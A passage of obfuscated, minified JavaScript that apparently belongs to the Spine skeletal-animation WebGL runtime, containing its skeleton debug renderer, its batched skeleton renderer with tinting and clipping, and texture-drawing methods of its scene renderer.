this['context'] = _0x22b07f instanceof _0x48af2d ? _0x22b07f : new _0x48af2d(_0x22b07f); } ['draw'](_0x213ec7, _0x5103e1, _0x3aa23d) { let _0x3973f7 = _0x5103e1['x'], _0x415f19 = _0x5103e1['y'], _0x32ea5e = this['context']['gl'], _0x381ba2 = this['premultipliedAlpha'] ? _0x32ea5e['ONE'] : _0x32ea5e['SRC_ALPHA']; _0x213ec7['setBlendMode'](_0x381ba2, _0x32ea5e['ONE'], _0x32ea5e['ONE_MINUS_SRC_ALPHA']); let _0x181703 = _0x5103e1['bones']; if (this['drawBones']) { _0x213ec7['setColor'](this['boneLineColor']); for (let _0x2c256e = 0x0, _0x317bf8 = _0x181703['length']; _0x2c256e < _0x317bf8; _0x2c256e++) { let _0x207f4f = _0x181703[_0x2c256e]; if (_0x3aa23d && _0x3aa23d['indexOf'](_0x207f4f['data']['name']) > -0x1) continue; if (!_0x207f4f['parent']) continue; let _0x1b0e7a = _0x207f4f['data']['length'] * _0x207f4f['a'] + _0x207f4f['worldX'], _0x54248d = _0x207f4f['data']['length'] * _0x207f4f['c'] + _0x207f4f['worldY']; _0x213ec7['rectLine'](!0x0, _0x207f4f['worldX'], _0x207f4f['worldY'], _0x1b0e7a, _0x54248d, this['boneWidth'] * this['scale']); } this['drawSkeletonXY'] && _0x213ec7['x'](_0x3973f7, _0x415f19, 0x4 * this['scale']); } if (this['drawRegionAttachments']) { _0x213ec7['setColor'](this['attachmentLineColor']); let _0x2d109e = _0x5103e1['slots']; for (let _0x4c2979 = 0x0, _0x3c71a0 = _0x2d109e['length']; _0x4c2979 < _0x3c71a0; _0x4c2979++) { let _0x426277 = _0x2d109e[_0x4c2979], _0x210242 = _0x426277['getAttachment'](); if (_0x210242 instanceof _0x2c3c3c) { let _0x20bbcd = _0x210242, _0x2bb2f3 = this['vertices']; _0x20bbcd['computeWorldVertices'](_0x426277, _0x2bb2f3, 0x0, 0x2), _0x213ec7['line'](_0x2bb2f3[0x0], _0x2bb2f3[0x1], _0x2bb2f3[0x2], _0x2bb2f3[0x3]), _0x213ec7['line'](_0x2bb2f3[0x2], _0x2bb2f3[0x3], _0x2bb2f3[0x4], _0x2bb2f3[0x5]), _0x213ec7['line'](_0x2bb2f3[0x4], _0x2bb2f3[0x5], _0x2bb2f3[0x6], _0x2bb2f3[0x7]), _0x213ec7['line'](_0x2bb2f3[0x6], _0x2bb2f3[0x7], _0x2bb2f3[0x0], _0x2bb2f3[0x1]); } } } if (this['drawMeshHull'] || this['drawMeshTriangles']) { let _0x3ceff5 = _0x5103e1['slots']; for (let _0x2f0cdd = 0x0, _0x27b9bb = _0x3ceff5['length']; _0x2f0cdd < _0x27b9bb; _0x2f0cdd++) { let _0x483607 = _0x3ceff5[_0x2f0cdd]; if (!_0x483607['bone']['active']) continue; let _0xd4384e = _0x483607['getAttachment'](); if (!(_0xd4384e instanceof _0x14aa55)) continue; let _0x4ace67 = _0xd4384e, _0x8b23e3 = this['vertices']; _0x4ace67['computeWorldVertices'](_0x483607, 0x0, _0x4ace67['worldVerticesLength'], _0x8b23e3, 0x0, 0x2); let _0x5ea5a3 = _0x4ace67['triangles'], _0x3b09d7 = _0x4ace67['hullLength']; if (this['drawMeshTriangles']) { _0x213ec7['setColor'](this['triangleLineColor']); for (let _0x289863 = 0x0, _0x1410c7 = _0x5ea5a3['length']; _0x289863 < _0x1410c7; _0x289863 += 0x3) { let _0x262125 = 0x2 * _0x5ea5a3[_0x289863], _0x4d87a0 = 0x2 * _0x5ea5a3[_0x289863 + 0x1], _0x3d770a = 0x2 * _0x5ea5a3[_0x289863 + 0x2]; _0x213ec7['triangle'](!0x1, _0x8b23e3[_0x262125], _0x8b23e3[_0x262125 + 0x1], _0x8b23e3[_0x4d87a0], _0x8b23e3[_0x4d87a0 + 0x1], _0x8b23e3[_0x3d770a], _0x8b23e3[_0x3d770a + 0x1]); } } if (this['drawMeshHull'] && _0x3b09d7 > 0x0) { _0x213ec7['setColor'](this['attachmentLineColor']), _0x3b09d7 = 0x2 * (_0x3b09d7 >> 0x1); let _0x9e180a = _0x8b23e3[_0x3b09d7 - 0x2], _0x18cf75 = _0x8b23e3[_0x3b09d7 - 0x1]; for (let _0x31a9f2 = 0x0, _0x1daae4 = _0x3b09d7; _0x31a9f2 < _0x1daae4; _0x31a9f2 += 0x2) { let _0x34e9ed = _0x8b23e3[_0x31a9f2], _0x633018 = _0x8b23e3[_0x31a9f2 + 0x1]; _0x213ec7['line'](_0x34e9ed, _0x633018, _0x9e180a, _0x18cf75), _0x9e180a = _0x34e9ed, _0x18cf75 = _0x633018; } } } } if (this['drawBoundingBoxes']) { let _0x3de989 = this['bounds']; _0x3de989['update'](_0x5103e1, !0x0), _0x213ec7['setColor'](this['aabbColor']), _0x213ec7['rect'](!0x1, _0x3de989['minX'], _0x3de989['minY'], _0x3de989['getWidth'](), _0x3de989['getHeight']()); let _0x59f596 = _0x3de989['polygons'], _0x50ceec = _0x3de989['boundingBoxes']; for (let _0x4697dc = 0x0, _0x39f1f0 = _0x59f596['length']; _0x4697dc < _0x39f1f0; _0x4697dc++) { let _0x2628bd = _0x59f596[_0x4697dc]; _0x213ec7['setColor'](_0x50ceec[_0x4697dc]['color']), _0x213ec7['polygon'](_0x2628bd, 0x0, _0x2628bd['length']); } } if (this['drawPaths']) { let _0x2ec64a = _0x5103e1['slots']; for (let _0xb484db = 0x0, _0x4851cd = _0x2ec64a['length']; _0xb484db < _0x4851cd; _0xb484db++) { let _0x3a80b1 = _0x2ec64a[_0xb484db]; if (!_0x3a80b1['bone']['active']) continue; let _0x12a984 = _0x3a80b1['getAttachment'](); if (!(_0x12a984 instanceof _0x27d2b5)) continue; let _0x2e3179 = _0x12a984, _0xfb4c70 = _0x2e3179['worldVerticesLength'], _0x5aa947 = this['temp'] = _0x5bda80['setArraySize'](this['temp'], _0xfb4c70, 0x0); _0x2e3179['computeWorldVertices'](_0x3a80b1, 0x0, _0xfb4c70, _0x5aa947, 0x0, 0x2); let _0x17c30a = this['pathColor'], _0x3cf5cf = _0x5aa947[0x2], _0x351ed1 = _0x5aa947[0x3], _0x2203a9 = 0x0, _0x371e7e = 0x0; if (_0x2e3179['closed']) { _0x213ec7['setColor'](_0x17c30a); let _0x1d869b = _0x5aa947[0x0], _0xf9bc4e = _0x5aa947[0x1], _0x2a4a4b = _0x5aa947[_0xfb4c70 - 0x2], _0x972415 = _0x5aa947[_0xfb4c70 - 0x1]; _0x2203a9 = _0x5aa947[_0xfb4c70 - 0x4], _0x371e7e = _0x5aa947[_0xfb4c70 - 0x3], _0x213ec7['curve'](_0x3cf5cf, _0x351ed1, _0x1d869b, _0xf9bc4e, _0x2a4a4b, _0x972415, _0x2203a9, _0x371e7e, 0x20), _0x213ec7['setColor'](_0x25ad8d['LIGHT_GRAY']), _0x213ec7['line'](_0x3cf5cf, _0x351ed1, _0x1d869b, _0xf9bc4e), _0x213ec7['line'](_0x2203a9, _0x371e7e, _0x2a4a4b, _0x972415); } _0xfb4c70 -= 0x4; for (let _0x4012f3 = 0x4; _0x4012f3 < _0xfb4c70; _0x4012f3 += 0x6) { let _0x14dbd1 = _0x5aa947[_0x4012f3], _0x2a4488 = _0x5aa947[_0x4012f3 + 0x1], _0x221ebe = _0x5aa947[_0x4012f3 + 0x2], _0x49fc65 = _0x5aa947[_0x4012f3 + 0x3]; _0x2203a9 = _0x5aa947[_0x4012f3 + 0x4], _0x371e7e = _0x5aa947[_0x4012f3 + 0x5], _0x213ec7['setColor'](_0x17c30a), _0x213ec7['curve'](_0x3cf5cf, _0x351ed1, _0x14dbd1, _0x2a4488, _0x221ebe, _0x49fc65, _0x2203a9, _0x371e7e, 0x20), _0x213ec7['setColor'](_0x25ad8d['LIGHT_GRAY']), _0x213ec7['line'](_0x3cf5cf, _0x351ed1, _0x14dbd1, _0x2a4488), _0x213ec7['line'](_0x2203a9, _0x371e7e, _0x221ebe, _0x49fc65), _0x3cf5cf = _0x2203a9, _0x351ed1 = _0x371e7e; } } } if (this['drawBones']) { _0x213ec7['setColor'](this['boneOriginColor']); for (let _0x18002a = 0x0, _0x25e6d8 = _0x181703['length']; _0x18002a < _0x25e6d8; _0x18002a++) { let _0x48cde0 = _0x181703[_0x18002a]; _0x3aa23d && _0x3aa23d['indexOf'](_0x48cde0['data']['name']) > -0x1 || _0x213ec7['circle'](!0x0, _0x48cde0['worldX'], _0x48cde0['worldY'], 0x3 * this['scale'], this['boneOriginColor'], 0x8); } } if (this['drawClipping']) { let _0x44545e = _0x5103e1['slots']; _0x213ec7['setColor'](this['clipColor']); for (let _0x139f94 = 0x0, _0x510ac5 = _0x44545e['length']; _0x139f94 < _0x510ac5; _0x139f94++) { let _0x5904dd = _0x44545e[_0x139f94]; if (!_0x5904dd['bone']['active']) continue; let _0x50bc3f = _0x5904dd['getAttachment'](); if (!(_0x50bc3f instanceof _0xafd745)) continue; let _0x5e24f3 = _0x50bc3f, _0x40b161 = _0x5e24f3['worldVerticesLength'], _0x355d39 = this['temp'] = _0x5bda80['setArraySize'](this['temp'], _0x40b161, 0x0); _0x5e24f3['computeWorldVertices'](_0x5904dd, 0x0, _0x40b161, _0x355d39, 0x0, 0x2); for (let _0x6ae08 = 0x0, _0x3b2339 = _0x355d39['length']; _0x6ae08 < _0x3b2339; _0x6ae08 += 0x2) { let _0xaf9da6 = _0x355d39[_0x6ae08], _0x1d7cc5 = _0x355d39[_0x6ae08 + 0x1], _0x2fd6e4 = _0x355d39[(_0x6ae08 + 0x2) % _0x355d39['length']], _0x40318d = _0x355d39[(_0x6ae08 + 0x3) % _0x355d39['length']]; _0x213ec7['line'](_0xaf9da6, _0x1d7cc5, _0x2fd6e4, _0x40318d); } } } } ['dispose']() { } }, _0x2da4a9 = _0x25ad8d; _0x2da4a9['LIGHT_GRAY'] = new _0x1acaf1(0xc0 / 0xff, 0xc0 / 0xff, 0xc0 / 0xff, 0x1), _0x2da4a9['GREEN'] = new _0x1acaf1(0x0, 0x1, 0x0, 0x1); var _0x1a4843 = class { constructor(_0x2b77dc, _0x13f7ed = !0x0) { this['premultipliedAlpha'] = !0x1, this['tempColor'] = new _0x1acaf1(), this['tempColor2'] = new _0x1acaf1(), this['vertexSize'] = 0x8, this['twoColorTint'] = !0x1, this['renderable'] = new class { constructor(_0x4d46d2, _0x5a5cda, _0x2724d9) { this['vertices'] = _0x4d46d2, this['numVertices'] = _0x5a5cda, this['numFloats'] = _0x2724d9; } }([], 0x0, 0x0), this['clipper'] = new _0x3abe9e(), this['temp'] = new _0x6ada3(), this['temp2'] = new _0x6ada3(), this['temp3'] = new _0x1acaf1(), this['temp4'] = new _0x1acaf1(), this['twoColorTint'] = _0x13f7ed, _0x13f7ed && (this['vertexSize'] += 0x4), this['vertices'] = _0x5bda80['newFloatArray'](0x400 * this['vertexSize']); } ['draw'](_0x585153, _0x47c05b, _0x3beaf9 = -0x1, _0x501af7 = -0x1, _0x297014 = null) { let _0x412831, _0xb3f327, _0xb5e858, _0x114ab9 = this['clipper'], _0x523628 = this['premultipliedAlpha'], _0x225258 = this['twoColorTint'], _0x4c374a = null, _0x4f66ea = (this['temp'], this['temp2'], this['temp3'], this['temp4'], this['renderable']), _0xf77a28 = _0x47c05b['drawOrder'], _0xfc7407 = _0x47c05b['color'], _0x34d294 = _0x225258 ? 0xc : 0x8, _0xda07e7 = !0x1; -0x1 == _0x3beaf9 && (_0xda07e7 = !0x0); for (let _0x6f29b8 = 0x0, _0x18936d = _0xf77a28['length']; _0x6f29b8 < _0x18936d; _0x6f29b8++) { let _0x7520f4 = _0x114ab9['isClipping']() ? 0x2 : _0x34d294, _0x52209f = _0xf77a28[_0x6f29b8]; if (!_0x52209f['bone']['active']) { _0x114ab9['clipEndWithSlot'](_0x52209f); continue; } if (_0x3beaf9 >= 0x0 && _0x3beaf9 == _0x52209f['data']['index'] && (_0xda07e7 = !0x0), !_0xda07e7) { _0x114ab9['clipEndWithSlot'](_0x52209f); continue; } _0x501af7 >= 0x0 && _0x501af7 == _0x52209f['data']['index'] && (_0xda07e7 = !0x1); let _0x6cbc45, _0x5f4e1d = _0x52209f['getAttachment'](); if (_0x5f4e1d instanceof _0x2c3c3c) { let _0x4b021a = _0x5f4e1d; _0x4f66ea['vertices'] = this['vertices'], _0x4f66ea['numVertices'] = 0x4, _0x4f66ea['numFloats'] = _0x7520f4 << 0x2, _0x4b021a['computeWorldVertices'](_0x52209f, _0x4f66ea['vertices'], 0x0, _0x7520f4), _0xb3f327 = _0x1a4843['QUAD_TRIANGLES'], _0x412831 = _0x4b021a['uvs'], _0x6cbc45 = _0x4b021a['region']['renderObject']['page']['texture'], _0xb5e858 = _0x4b021a['color']; } else { if (!(_0x5f4e1d instanceof _0x14aa55)) { if (_0x5f4e1d instanceof _0xafd745) { let _0x180d80 = _0x5f4e1d; _0x114ab9['clipStart'](_0x52209f, _0x180d80); continue; } _0x114ab9['clipEndWithSlot'](_0x52209f); continue; } { let _0x56151b = _0x5f4e1d; _0x4f66ea['vertices'] = this['vertices'], _0x4f66ea['numVertices'] = _0x56151b['worldVerticesLength'] >> 0x1, _0x4f66ea['numFloats'] = _0x4f66ea['numVertices'] * _0x7520f4, _0x4f66ea['numFloats'] > _0x4f66ea['vertices']['length'] && (_0x4f66ea['vertices'] = this['vertices'] = _0x5bda80['newFloatArray'](_0x4f66ea['numFloats'])), _0x56151b['computeWorldVertices'](_0x52209f, 0x0, _0x56151b['worldVerticesLength'], _0x4f66ea['vertices'], 0x0, _0x7520f4), _0xb3f327 = _0x56151b['triangles'], _0x6cbc45 = _0x56151b['region']['renderObject']['page']['texture'], _0x412831 = _0x56151b['uvs'], _0xb5e858 = _0x56151b['color']; } } if (_0x6cbc45) { let _0x343c38 = _0x52209f['color'], _0x3c2b0a = this['tempColor']; _0x3c2b0a['r'] = _0xfc7407['r'] * _0x343c38['r'] * _0xb5e858['r'], _0x3c2b0a['g'] = _0xfc7407['g'] * _0x343c38['g'] * _0xb5e858['g'], _0x3c2b0a['b'] = _0xfc7407['b'] * _0x343c38['b'] * _0xb5e858['b'], _0x3c2b0a['a'] = _0xfc7407['a'] * _0x343c38['a'] * _0xb5e858['a'], _0x523628 && (_0x3c2b0a['r'] *= _0x3c2b0a['a'], _0x3c2b0a['g'] *= _0x3c2b0a['a'], _0x3c2b0a['b'] *= _0x3c2b0a['a']); let _0x12ed87 = this['tempColor2']; _0x52209f['darkColor'] ? (_0x523628 ? (_0x12ed87['r'] = _0x52209f['darkColor']['r'] * _0x3c2b0a['a'], _0x12ed87['g'] = _0x52209f['darkColor']['g'] * _0x3c2b0a['a'], _0x12ed87['b'] = _0x52209f['darkColor']['b'] * _0x3c2b0a['a']) : _0x12ed87['setFromColor'](_0x52209f['darkColor']), _0x12ed87['a'] = _0x523628 ? 0x1 : 0x0) : _0x12ed87['set'](0x0, 0x0, 0x0, 0x1); let _0x13f3a2 = _0x52209f['data']['blendMode']; if (_0x13f3a2 != _0x4c374a && (_0x4c374a = _0x13f3a2, _0x585153['setBlendMode'](_0x364f31['getSourceColorGLBlendMode'](_0x4c374a, _0x523628), _0x364f31['getSourceAlphaGLBlendMode'](_0x4c374a), _0x364f31['getDestGLBlendMode'](_0x4c374a))), _0x114ab9['isClipping']()) { _0x114ab9['clipTriangles'](_0x4f66ea['vertices'], _0x4f66ea['numFloats'], _0xb3f327, _0xb3f327['length'], _0x412831, _0x3c2b0a, _0x12ed87, _0x225258); let _0x270e7c = new Float32Array(_0x114ab9['clippedVertices']), _0x158307 = _0x114ab9['clippedTriangles']; _0x297014 && _0x297014(_0x4f66ea['vertices'], _0x4f66ea['numFloats'], _0x34d294), _0x585153['draw'](_0x6cbc45, _0x270e7c, _0x158307); } else { let _0x1f5658 = _0x4f66ea['vertices']; if (_0x225258) { for (let _0x172bc9 = 0x2, _0x486ba2 = 0x0, _0x6ce65e = _0x4f66ea['numFloats']; _0x172bc9 < _0x6ce65e; _0x172bc9 += _0x34d294, _0x486ba2 += 0x2)_0x1f5658[_0x172bc9] = _0x3c2b0a['r'], _0x1f5658[_0x172bc9 + 0x1] = _0x3c2b0a['g'], _0x1f5658[_0x172bc9 + 0x2] = _0x3c2b0a['b'], _0x1f5658[_0x172bc9 + 0x3] = _0x3c2b0a['a'], _0x1f5658[_0x172bc9 + 0x4] = _0x412831[_0x486ba2], _0x1f5658[_0x172bc9 + 0x5] = _0x412831[_0x486ba2 + 0x1], _0x1f5658[_0x172bc9 + 0x6] = _0x12ed87['r'], _0x1f5658[_0x172bc9 + 0x7] = _0x12ed87['g'], _0x1f5658[_0x172bc9 + 0x8] = _0x12ed87['b'], _0x1f5658[_0x172bc9 + 0x9] = _0x12ed87['a']; } else { for (let _0x3b3b1d = 0x2, _0x2ec342 = 0x0, _0x1d3083 = _0x4f66ea['numFloats']; _0x3b3b1d < _0x1d3083; _0x3b3b1d += _0x34d294, _0x2ec342 += 0x2)_0x1f5658[_0x3b3b1d] = _0x3c2b0a['r'], _0x1f5658[_0x3b3b1d + 0x1] = _0x3c2b0a['g'], _0x1f5658[_0x3b3b1d + 0x2] = _0x3c2b0a['b'], _0x1f5658[_0x3b3b1d + 0x3] = _0x3c2b0a['a'], _0x1f5658[_0x3b3b1d + 0x4] = _0x412831[_0x2ec342], _0x1f5658[_0x3b3b1d + 0x5] = _0x412831[_0x2ec342 + 0x1]; } let _0x3a7787 = _0x4f66ea['vertices']['subarray'](0x0, _0x4f66ea['numFloats']); _0x297014 && _0x297014(_0x4f66ea['vertices'], _0x4f66ea['numFloats'], _0x34d294), _0x585153['draw'](_0x6cbc45, _0x3a7787, _0xb3f327); } } _0x114ab9['clipEndWithSlot'](_0x52209f); } _0x114ab9['clipEnd'](); } }, _0x25c359 = _0x1a4843; _0x25c359['QUAD_TRIANGLES'] = [0x0, 0x1, 0x2, 0x2, 0x3, 0x0]; var _0x26cbb0, _0x3dd4da, _0x18fb99, _0x5abe7f = [0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0], _0x596cbd = [0x0, 0x1, 0x2, 0x2, 0x3, 0x0], _0x284587 = new _0x1acaf1(0x1, 0x1, 0x1, 0x1), _0x5179df = class { constructor(_0x5828a6, _0x596d40, _0x71bdfa = !0x0) { this['twoColorTint'] = !0x1, this['activeRenderer'] = null, this['canvas'] = _0x5828a6, this['context'] = _0x596d40 instanceof _0x48af2d ? _0x596d40 : new _0x48af2d(_0x596d40), this['twoColorTint'] = _0x71bdfa, this['camera'] = new _0x29adc8(_0x5828a6['width'], _0x5828a6['height']), this['batcherShader'] = _0x71bdfa ? _0x5e5d4e['newTwoColoredTextured'](this['context']) : _0x5e5d4e['newColoredTextured'](this['context']), this['batcher'] = new _0x190e91(this['context'], _0x71bdfa), this['shapesShader'] = _0x5e5d4e['newColored'](this['context']), this['shapes'] = new _0x5a2c10(this['context']), this['skeletonRenderer'] = new _0x25c359(this['context'], _0x71bdfa), this['skeletonDebugRenderer'] = new _0x2da4a9(this['context']); } ['dispose']() { this['batcher']['dispose'](), this['batcherShader']['dispose'](), this['shapes']['dispose'](), this['shapesShader']['dispose'](), this['skeletonDebugRenderer']['dispose'](); } ['begin']() { this['camera']['update'](), this['enableRenderer'](this['batcher']); } ['drawSkeleton'](_0xfecc3a, _0x4e3844 = !0x1, _0x51c7ed = -0x1, _0x531fc2 = -0x1, _0x1c53ad = null) { this['enableRenderer'](this['batcher']), this['skeletonRenderer']['premultipliedAlpha'] = _0x4e3844, this['skeletonRenderer']['draw'](this['batcher'], _0xfecc3a, _0x51c7ed, _0x531fc2, _0x1c53ad); } ['drawSkeletonDebug'](_0x4644cf, _0xd5660f = !0x1, _0x5a5ce3) { this['enableRenderer'](this['shapes']), this['skeletonDebugRenderer']['premultipliedAlpha'] = _0xd5660f, this['skeletonDebugRenderer']['draw'](this['shapes'], _0x4644cf, _0x5a5ce3); } ['drawTexture'](_0x41490b, _0x2a64df, _0x43b936, _0x4e544b, _0x17372b, _0x3cd518) { this['enableRenderer'](this['batcher']), _0x3cd518 || (_0x3cd518 = _0x284587); var _0x397c37 = 0x0; _0x5abe7f[_0x397c37++] = _0x2a64df, _0x5abe7f[_0x397c37++] = _0x43b936, _0x5abe7f[_0x397c37++] = _0x3cd518['r'], _0x5abe7f[_0x397c37++] = _0x3cd518['g'], _0x5abe7f[_0x397c37++] = _0x3cd518['b'], _0x5abe7f[_0x397c37++] = _0x3cd518['a'], _0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x1, this['twoColorTint'] && (_0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0), _0x5abe7f[_0x397c37++] = _0x2a64df + _0x4e544b, _0x5abe7f[_0x397c37++] = _0x43b936, _0x5abe7f[_0x397c37++] = _0x3cd518['r'], _0x5abe7f[_0x397c37++] = _0x3cd518['g'], _0x5abe7f[_0x397c37++] = _0x3cd518['b'], _0x5abe7f[_0x397c37++] = _0x3cd518['a'], _0x5abe7f[_0x397c37++] = 0x1, _0x5abe7f[_0x397c37++] = 0x1, this['twoColorTint'] && (_0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0), _0x5abe7f[_0x397c37++] = _0x2a64df + _0x4e544b, _0x5abe7f[_0x397c37++] = _0x43b936 + _0x17372b, _0x5abe7f[_0x397c37++] = _0x3cd518['r'], _0x5abe7f[_0x397c37++] = _0x3cd518['g'], _0x5abe7f[_0x397c37++] = _0x3cd518['b'], _0x5abe7f[_0x397c37++] = _0x3cd518['a'], _0x5abe7f[_0x397c37++] = 0x1, _0x5abe7f[_0x397c37++] = 0x0, this['twoColorTint'] && (_0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0), _0x5abe7f[_0x397c37++] = _0x2a64df, _0x5abe7f[_0x397c37++] = _0x43b936 + _0x17372b, _0x5abe7f[_0x397c37++] = _0x3cd518['r'], _0x5abe7f[_0x397c37++] = _0x3cd518['g'], _0x5abe7f[_0x397c37++] = _0x3cd518['b'], _0x5abe7f[_0x397c37++] = _0x3cd518['a'], _0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0, this['twoColorTint'] && (_0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37++] = 0x0, _0x5abe7f[_0x397c37] = 0x0), this['batcher']['draw'](_0x41490b, _0x5abe7f, _0x596cbd); } ['drawTextureUV'](_0x5cf3e5, _0x12cf7f, _0x48ffc1, _0x4d156b, _0x118a8e, _0x3a50b7, _0x18bd0e, _0x2b9142, _0x13ec0a, _0x5b7040) { this['enableRenderer'](this['batcher']), _0x5b7040 || (_0x5b7040 = _0x284587); var _0x5ad506 = 0x0; _0x5abe7f[_0x5ad506++] = _0x12cf7f, _0x5abe7f[_0x5ad506++] = _0x48ffc1, _0x5abe7f[_0x5ad506++] = _0x5b7040['r'], _0x5abe7f[_0x5ad506++] = _0x5b7040['g'], _0x5abe7f[_0x5ad506++] = _0x5b7040['b'], _0x5abe7f[_0x5ad506++] = _0x5b7040['a'], _0x5abe7f[_0x5ad506++] = _0x3a50b7, _0x5abe7f[_0x5ad506++] = _0x18bd0e, this['twoColorTint'] && (_0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506++] = 0x0), _0x5abe7f[_0x5ad506++] = _0x12cf7f + _0x4d156b, _0x5abe7f[_0x5ad506++] = _0x48ffc1, _0x5abe7f[_0x5ad506++] = _0x5b7040['r'], _0x5abe7f[_0x5ad506++] = _0x5b7040['g'], _0x5abe7f[_0x5ad506++] = _0x5b7040['b'], _0x5abe7f[_0x5ad506++] = _0x5b7040['a'], _0x5abe7f[_0x5ad506++] = _0x2b9142, _0x5abe7f[_0x5ad506++] = _0x18bd0e, this['twoColorTint'] && (_0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506++] = 0x0), _0x5abe7f[_0x5ad506++] = _0x12cf7f + _0x4d156b, _0x5abe7f[_0x5ad506++] = _0x48ffc1 + _0x118a8e, _0x5abe7f[_0x5ad506++] = _0x5b7040['r'], _0x5abe7f[_0x5ad506++] = _0x5b7040['g'], _0x5abe7f[_0x5ad506++] = _0x5b7040['b'], _0x5abe7f[_0x5ad506++] = _0x5b7040['a'], _0x5abe7f[_0x5ad506++] = _0x2b9142, _0x5abe7f[_0x5ad506++] = _0x13ec0a, this['twoColorTint'] && (_0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506++] = 0x0), _0x5abe7f[_0x5ad506++] = _0x12cf7f, _0x5abe7f[_0x5ad506++] = _0x48ffc1 + _0x118a8e, _0x5abe7f[_0x5ad506++] = _0x5b7040['r'], _0x5abe7f[_0x5ad506++] = _0x5b7040['g'], _0x5abe7f[_0x5ad506++] = _0x5b7040['b'], _0x5abe7f[_0x5ad506++] = _0x5b7040['a'], _0x5abe7f[_0x5ad506++] = _0x3a50b7, _0x5abe7f[_0x5ad506++] = _0x13ec0a, this['twoColorTint'] && (_0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506++] = 0x0, _0x5abe7f[_0x5ad506] = 0x0), this['batcher']['draw'](_0x5cf3e5, _0x5abe7f, _0x596cbd); } ['drawTextureRotated'](_0x440ac5, _0x5b19da, _0x27dbf0, _0x2e133b, _0x4ad744, _0x39f7ba, _0x111e77, _0x341f7c, _0x14a9eb) { this['enableRenderer'](this['batcher']), _0x14a9eb || (_0x14a9eb = _0x284587); let _0x447621 = _0x5b19da + _0x39f7ba, _0x497da4 = _0x27dbf0 + _0x111e77, _0xd4e02f = -_0x39f7ba, _0x3ee096 = -_0x111e77, _0x1bef18 = _0x2e133b - _0x39f7ba, _0x98f4b9 = _0x4ad744 - _0x111e77, _0x3e1dac = _0xd4e02f, _0x1e3bcf = _0x3ee096, _0x5b04b7 = _0xd4e02f, _0x1de4d2 = _0x98f4b9, _0x47d35e = _0x1bef18, _0x505142 = _0x98f4b9, _0x25d058 = _0x1bef18, _0x2e3852 = _0x3ee096, _0x15eae1 = 0x0, _0x4fe0ed = 0x0, _0x1fa6ec = 0x0, _0x598d44 = 0x0, _0x278ec6 = 0x0, _0x52d5d0 = 0x0, _0xc647dc = 0x0, _0x41c60f = 0x0; if (0x0 != _0x341f7c) { let _0x221993 = _0x19ba92['cosDeg'](_0x341f7c), _0x30f3c9 = _0x19ba92['sinDeg'](_0x341f7c); _0x15eae1 = _0x221993 * _0x3e1dac - _0x30f3c9 * _0x1e3bcf, _0x4fe0ed = _0x30f3c9 * _0x3e1dac + _0x221993 * _0x1e3bcf, _0xc647dc = _0x221993 * _0x5b04b7 - _0x30f3c9 * _0x1de4d2, _0x41c60f = _0x30f3c9 * _0x5b04b7 + _0x221993 * _0x1de4d2, _0x278ec6 = _0x221993 * _0x47d35e - _0x30f3c9 * _0x505142, _0x52d5d0 = _0x30f3c9 * _0x47d35e + _0x221993 * _0x505142, _0x1fa6ec = _0x278ec6 + (_0x15eae1 - _0xc647dc), _0x598d44 = _0x52d5d0 + (_0x4fe0ed - _0x41c60f); } else _0x15eae1 = _0x3e1dac, _0x4fe0ed = _0x1e3bcf, _0xc647dc = _0x5b04b7, _0x41c60f = _0x1de4d2, _0x278ec6 = _0x47d35e, _0x52d5d0 = _0x505142, _0x1fa6ec = _0x25d058, _0x598d44 = _0x2e3852; _0x15eae1 += _0x447621, _0x4fe0ed += _0x497da4, _0x1fa6ec += _0x447621, _0x598d44 += _0x497da4, _0x278ec6 += _0x447621, _0x52d5d0 += _0x497da4, _0xc647dc += _0x447621, _0x41c60f += _0x497da4; var _0x1c451c = 0x0; _0x5abe7f[_0x1c451c++] = _0x15eae1, _0x5abe7f[_0x1c451c++] = _0x4fe0ed, _0x5abe7f[_0x1c451c++] = _0x14a9eb['r'], _0x5abe7f[_0x1c451c++] = _0x14a9eb['g'], _0x5abe7f[_0x1c451c++] = _0x14a9eb['b'], _0x5abe7f[_0x1c451c++] = _0x14a9eb['a'], _0x5abe7f[_0x1c451c++] = 0x0, _0x5abe7f[_0x1c451c++] = 0x1, this['twoColorTint'] && (_0x5abe7f[_0x1c451c++] = 0x0, _0x5abe7f[_0x1c451c++] = 0x0, _0x5abe7f[_0x1c451c++] = 0x0, _0x5abe7f[_0x1c451c++] = 0x0), _0x5abe7f[_0x1c451c++] = _0x1fa6ec, _0x5abe7f[_0x1c451c++] = _0x598d44, _0x5abe7f[_0x1c451c++] = _0x14a9eb['r'], _0x5abe7f[_0x1c451c++] = _0x14a9eb['g'], _0x5abe7f[_0x1c451c++] = _0x14a9eb['b'], _0x5abe7f[_0x1c451c++] = _0x14a9eb['a'], _0x5abe7f[_0x1c451c++] = 0x1, _0x5abe7f[_0x1c451c++] = 0x1, this['twoColorTint'] && (_0x5abe7f[_0x1c451c++] = 0x0, 